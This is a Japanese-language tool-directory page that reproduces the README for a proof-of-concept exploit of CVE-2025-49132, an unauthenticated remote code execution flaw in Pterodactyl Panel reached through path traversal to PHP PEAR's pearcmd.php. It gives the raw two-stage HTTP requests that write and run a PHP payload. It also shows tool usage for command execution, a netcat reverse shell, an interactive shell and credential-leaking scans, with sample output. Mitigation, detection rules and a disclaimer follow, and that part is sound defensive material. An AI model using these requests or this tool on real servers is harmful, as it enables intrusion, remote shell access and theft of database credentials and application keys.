Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
ツール/GitHubGitHub/rippsec/cve-2025-49132-php-pear
脆弱性分析コード分析エクスプロイトウェブアプリケーション悪用ペネトレーションテスト学習と教育レッドチーミング
GitHubrippsec/cve-2025-49132-php-pear

CVE-2025-49132-PHP-PEAR

CVE-2025-49132_PHP_PEAR_METHOD

リポジトリを見る
3156ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2025-49132: PHP PEAR メソッドによる Pterodactyl Panel の未認証 RCE

CVSSv3 License Python

目次

  • 概要
  • 脆弱性の詳細
  • 技術的分析
  • エクスプロイトの流れ
  • インストール
  • 使用方法
  • 使用例
  • 緩和策
  • 免責事項
  • 参考情報
  • 作者

概要

このリポジトリには、CVE-2025-49132 の概念実証(PoC)エクスプロイトが含まれています。これは、Pterodactyl Panel バージョン 1.11.11 未満における重大な未認証リモートコード実行の脆弱性です。

Pterodactyl Panel は、PHP で構築された無料のオープンソースゲームサーバー管理パネルです。この脆弱性により、未認証の攻撃者が /locales/locale.json エンドポイントの不適切な処理と PHP PEAR の pearcmd.php 機能を組み合わせて、対象サーバー上で任意のシステムコマンドを実行できるようになります。

ツールをダウンロード

脆弱性の概要

  • CVE ID: CVE-2025-49132
  • CVSS スコア: 10.0(緊急)
  • CVSS ベクター: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
  • CWE: CWE-94: コード生成の不適切な制御('コードインジェクション')
  • 影響を受けるバージョン: Pterodactyl Panel < 1.11.11
  • 攻撃の複雑さ: 低
  • 必要な権限: なし(未認証)
  • ユーザー操作: 不要

脆弱性の詳細

PHP PEAR とは?

PHP PEAR(PHP Extension and Application Repository)は、再利用可能な PHP コンポーネントのためのフレームワークおよび配布システムです。PEAR パッケージを管理するために使用できるコマンドラインツール(pearcmd.php)を提供します。

pearcmd.php ファイルは URL パラメータを通じてコマンドを処理し、パストラバーサルと組み合わせることで、以下の目的に悪用される可能性があります:

  1. システム上に任意の PHP ファイルを作成する
  2. それらのファイルを Web サーバー経由で実行する

根本原因

この脆弱性は、以下の理由で存在します:

  1. 検証されていないパストラバーサル: /locales/locale.json の locale パラメータは、適切な検証なしにパストラバーサルを許可します
  2. 直接的なファイルインクルージョン: アプリケーションはユーザーが制御する入力に基づいてファイルを直接インクルードします
  3. PEAR コマンドインジェクション: pearcmd.php スクリプトは、任意の PHP ファイルを書き込める +config-create コマンドを受け入れます
  4. 未認証アクセス: 脆弱なエンドポイントは認証を必要としません

攻撃ベクトル

攻撃者は以下を行うことができます:

  1. パストラバーサルを使用して PEAR インストールディレクトリに到達する
  2. config-create コマンドを悪用して悪意のある PHP コードを /tmp に書き込む
  3. 同じエンドポイントを通じて悪意のある PHP ファイルを実行する
  4. Web サーバーユーザーとして完全なリモートコード実行を達成する

技術的分析

悪用プロセス

エクスプロイトは 2 つの段階で機能します:

ステージ 1: ペイロードの作成

root@kitploit:~
GET /locales/locale.json?+config-create+/&locale=../../../../../../usr/share/php/PEAR&namespace=pearcmd&<?=system('id')?>+/tmp/payload.php HTTP/1.1
Host: target.com

内訳:

  • +config-create+/ - PEAR の設定作成機能を呼び出します
  • locale=../../../../../../usr/share/php/PEAR - PEAR ディレクトリへのパストラバーサル
  • namespace=pearcmd - pearcmd.php ファイルを対象とします
  • <?=system('id')?>+/tmp/payload.php - PHP ペイロードと出力先ファイル

ステージ 2: ペイロードの実行

root@kitploit:~
GET /locales/locale.json?locale=../../../../../../tmp&namespace=payload HTTP/1.1
Host: target.com

内訳:

  • locale=../../../../../../tmp - /tmp ディレクトリへのパストラバーサル
  • namespace=payload - payload.php をインクルードして実行します

URL エンコーディングがエクスプロイトを妨げる理由

エクスプロイトでは、URL 内の特殊文字(<、>、?、=)をエンコードせずに送信する必要があります。これらの文字が URL エンコードされている場合:

  • <?=system('id')?> は %3C%3F%3Dsystem%28%27id%27%29%3F%3E になります
  • PEAR はこれを PHP コードではなくリテラルテキストとして解釈します
  • PHP タグが認識されず、コードの実行が妨げられます

エクスプロイトの流れ

root@kitploit:~
graph TD
    A[Attacker] -->|1. Path Traversal Request| B[locale.json]
    B -->|2. Traverse to PEAR| C[pearcmd.php]
    C -->|3. config-create Command| D[Write PHP Payload]
    D -->|4. Create File| E[payload.php]
    E -->|5. File Created| F[Server Filesystem]
    
    A -->|6. Execution Request| G[locale.json]
    G -->|7. Traverse to tmp| E
    E -->|8. Include and Execute| H[PHP Interpreter]
    H -->|9. System Command| I[Shell Command]
    I -->|10. Command Output| A
    
    style A fill:#ff6b6b
    style B fill:#4ecdc4
    style C fill:#ffe66d
    style E fill:#ff6b6b
    style H fill:#ff6b6b
    style I fill:#ff6b6b

攻撃フロー図

root@kitploit:~
sequenceDiagram
    participant Attacker
    participant Web Server
    participant PEAR
    participant Filesystem
    participant PHP Engine
    
    Attacker->>Web Server: GET locale.json with config-create
    Web Server->>PEAR: Path Traversal to pearcmd
    PEAR->>Filesystem: Create payload.php
    Filesystem-->>Attacker: 200 OK
    
    Attacker->>Web Server: GET locale.json with payload namespace
    Web Server->>Filesystem: Path Traversal to payload.php
    Filesystem->>PHP Engine: Include payload
    PHP Engine->>PHP Engine: Execute system command
    PHP Engine-->>Attacker: Command Output RCE

インストール

前提条件

  • Python 3.6 以上
  • requests ライブラリ

リポジトリのクローン

root@kitploit:~
git clone https://github.com/xffsec/CVE-2025-49132_PEAR_METHOD.git
cd CVE-2025-49132_PEAR_METHOD

依存関係のインストール

root@kitploit:~
pip3 install -r requirements.txt

または手動で:

root@kitploit:~
pip3 install requests

使用方法

基本的なコマンド実行

root@kitploit:~
python3 poc.py -H <target_host> -c "<command>"

リバースシェル

root@kitploit:~
# On attacker machine, start listener
nc -lvnp 4444

# Execute exploit with reverse shell
python3 poc.py -H <target_host> -r <your_ip>:4444

対話型疑似シェル

root@kitploit:~
python3 poc.py -H <target_host> --shell

PEAR インストールのファジング

root@kitploit:~
python3 poc.py -H <target_host> --fuzz

脆弱性のスキャン

root@kitploit:~
python3 poc.py -H <target_host> --scan

設定情報の漏洩(データベース認証情報、アプリキー)を介して CVE-2025-49132 をチェックします。

カスタム PEAR パス

root@kitploit:~
python3 poc.py -H <target_host> -c "whoami" -p "/opt/pear"

詳細出力

root@kitploit:~
python3 poc.py -H <target_host> -c "id" -v

詳細な進行状況(ペイロード作成、PEAR パス、実行ステータス)を表示します。

全オプション

root@kitploit:~
usage: poc.py [-h] -H HOST [-c COMMAND] [-r REVERSE_SHELL] [--shell] [--fuzz] [--scan]
              [-p PEAR_PATH] [-e ENDPOINT] [--ssl] [--timeout TIMEOUT] [-v]

optional arguments:
  -h, --help            show this help message and exit
  -H HOST, --host HOST  Target host (e.g., 192.168.1.100 or example.com)
  -c COMMAND            Command to execute on target system
  -r REVERSE_SHELL      Reverse shell (format: LHOST:LPORT)
  --shell               Interactive pseudo-shell mode
  --fuzz                Fuzz for PEAR installation paths
  --scan                Scan target for vulnerability (config leaks)
  -p PEAR_PATH          Custom PEAR path (default: /usr/share/php/PEAR)
  -e ENDPOINT           Vulnerable endpoint (default: /locales/locale.json)
  --ssl                 Use HTTPS
  --timeout TIMEOUT     Request timeout in seconds (default: 10)
  -v, --verbose         Verbose progress output

使用例

例 1: 基本的なコマンド実行

root@kitploit:~
$ python3 poc.py -H panel.pterodactyl.htb -c "id"

[CVE-2025-49132] Pterodactyl Panel RCE via PHP PEAR

[+] Command Output:
uid=33(www-data) gid=33(www-data) groups=33(www-data)

詳細な出力(ペイロードの詳細、PEAR パスなど)を表示するには -v を使用してください。

例 2: リバースシェル

root@kitploit:~
# Terminal 1: Start listener
$ nc -lvnp 4444
listening on [any] 4444 ...

# Terminal 2: Execute exploit
$ python3 poc.py -H panel.pterodactyl.htb -r 10.10.14.5:4444

╔══════════════════════════════════════╗
║   CVE-2025-49132 - Pterodactyl RCE   ║
╚══════════════════════════════════════╝

[!] Make sure your listener is running: nc -lvnp 4444

# Terminal 1: Receive connection
connect to [10.10.14.5] from (UNKNOWN) [panel.pterodactyl.htb] 45678
www-data@pterodactyl:/var/www/pterodactyl$

例 3: 対話型疑似シェル

root@kitploit:~
$ python3 poc.py -H panel.pterodactyl.htb --shell

shell> whoami
www-data

shell> pwd
/var/www/pterodactyl

shell> id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

shell> exit

例 4: PEAR パスのファジング

root@kitploit:~
$ python3 poc.py -H panel.pterodactyl.htb --fuzz

╔══════════════════════════════════════╗
║   CVE-2025-49132 - Pterodactyl RCE   ║
╚══════════════════════════════════════╝

[+] Found 3 potential PEAR installation(s):
    /usr/share/php/PEAR
    /usr/share/pear
    /usr/local/lib/php/PEAR
[*] Use -p flag with one of these paths for exploitation

パスごとのファジングの進行状況を確認するには -v を使用してください。

例 5: 脆弱性スキャナー

root@kitploit:~
$ python3 poc.py -H panel.pterodactyl.htb --scan

╔══════════════════════════════════════╗
║   CVE-2025-49132 - Pterodactyl RCE   ║
╚══════════════════════════════════════╝

[*] Scanning: http://panel.pterodactyl.htb/locales/locale.json
-------------------------------------------------------
[+] VULNERABLE - Database credentials leaked
    Host:     127.0.0.1
    Port:     3306
    Database: panel
    Username: pterodactyl
    Password: ********
    Connection: pterodactyl:********@127.0.0.1:3306/panel
[+] VULNERABLE - App configuration leaked
    App Key: base64{...}
    [!] SECURITY WARNING: APP_KEY exposed!
-------------------------------------------------------
[+] Target is VULNERABLE to CVE-2025-49132

緩和策

直ちに実行すべき対応

  1. Pterodactyl Panel を更新する

    root@kitploit:~
    cd /var/www/pterodactyl
    php artisan p:upgrade
    

    バージョン 1.11.11 以降に更新してください。

  2. 脆弱なエンドポイントを無効化する(一時的な回避策)

    Web サーバーの設定に以下を追加してください:

    Apache (.htaccess):

    root@kitploit:~
    <Files "locale.json">
        Order Allow,Deny
        Deny from all
    </Files>
    

    Nginx:

    root@kitploit:~
    location ~* /locales/locale\.json {
        deny all;
        return 403;
    }
    

    注記: これによりローカライズ機能が動作しなくなります。

  3. Web アプリケーションファイアウォール(WAF)

    パストラバーサルの試行をブロックする WAF ルールを実装してください:

    root@kitploit:~
    SecRule REQUEST_URI "@contains ../" "id:1000,phase:1,deny,status:403"
    SecRule ARGS "@contains ../" "id:1001,phase:2,deny,status:403"
    

長期的な対策

  1. 入力検証: locale パラメータと namespace パラメータに対して厳格な検証を実装する
  2. パスのサニタイズ: realpath() を使用してファイルパスを解決および検証する
  3. ホワイトリスト方式: 事前定義された特定のロケール値のみを許可する
  4. 認証: ロケールエンドポイントに認証を要求する
  5. セキュリティ監査: 定期的なセキュリティ評価とペネトレーションテスト

検知

ログ分析 - 不審なパターンを探します:

root@kitploit:~
# Apache/Nginx access logs
grep "locale.json" /var/log/apache2/access.log | grep "\.\."
grep "pearcmd" /var/log/apache2/access.log
grep "config-create" /var/log/apache2/access.log

# Look for payload files
find /tmp -name "payload.php" -o -name "*.php" -mtime -1

IDS/IPS シグネチャ:

root@kitploit:~
alert http any any -> any any (msg:"CVE-2025-49132 PEAR RCE Attempt"; 
  content:"/locales/locale.json"; http_uri; 
  content:"pearcmd"; http_uri; 
  content:"config-create"; http_uri; 
  sid:1000001; rev:1;)

免責事項

教育および許可されたテスト目的にのみ使用してください

この概念実証エクスプロイトは、教育目的および許可されたセキュリティテストのためだけに提供されます。作者は、このプログラムの誤用またはそれによって引き起こされた損害について一切の責任を負いません。

法的通知

  • ✅ 推奨: 許可されたペネトレーションテストおよびセキュリティ研究にこのツールを使用する
  • ✅ 推奨: 所有している、またはテストする明示的な許可を得ているシステムでこのツールを使用する
  • ✅ 推奨: パッチとセキュリティ対策を検証するためにこのツールを使用する
  • ❌ 禁止: 明示的な許可なしにシステムに対してこのツールを使用する
  • ❌ 禁止: 悪意のある目的でこのツールを使用する
  • ❌ 禁止: 適切な管理なしに本番環境でこのツールを展開する

コンピュータシステムへの不正アクセスは違法です。 ユーザーは、適用法および規制への準拠を確実にする責任があります。

参考情報

  • CVE-2025-49132 - NVD
  • GitHub Advisory: GHSA-24wv-6c99-f843
  • Pterodactyl Panel Security Advisory
  • PHP PEAR Documentation
  • CWE-94: Code Injection

作者

xffsec

連絡先
GitHub: @xffsec
Email: [email protected]

ライセンス

このプロジェクトは MIT ライセンスの下でライセンスされています。詳細は LICENSE ファイルを参照してください。

貢献

貢献、問題報告、機能リクエストを歓迎します! お気軽に Issue を開くか、プルリクエストを送信してください。

謝辞

  • 責任ある開示プロセスを実施してくれた Pterodactyl Panel 開発チーム
  • セキュリティ研究コミュニティ
  • これらの技術を練習するための安全な環境を提供してくれる HackTheBox

⚠️ 注意: 常に責任ある開示を実践し、適切な許可なしに脆弱性を悪用しないでください。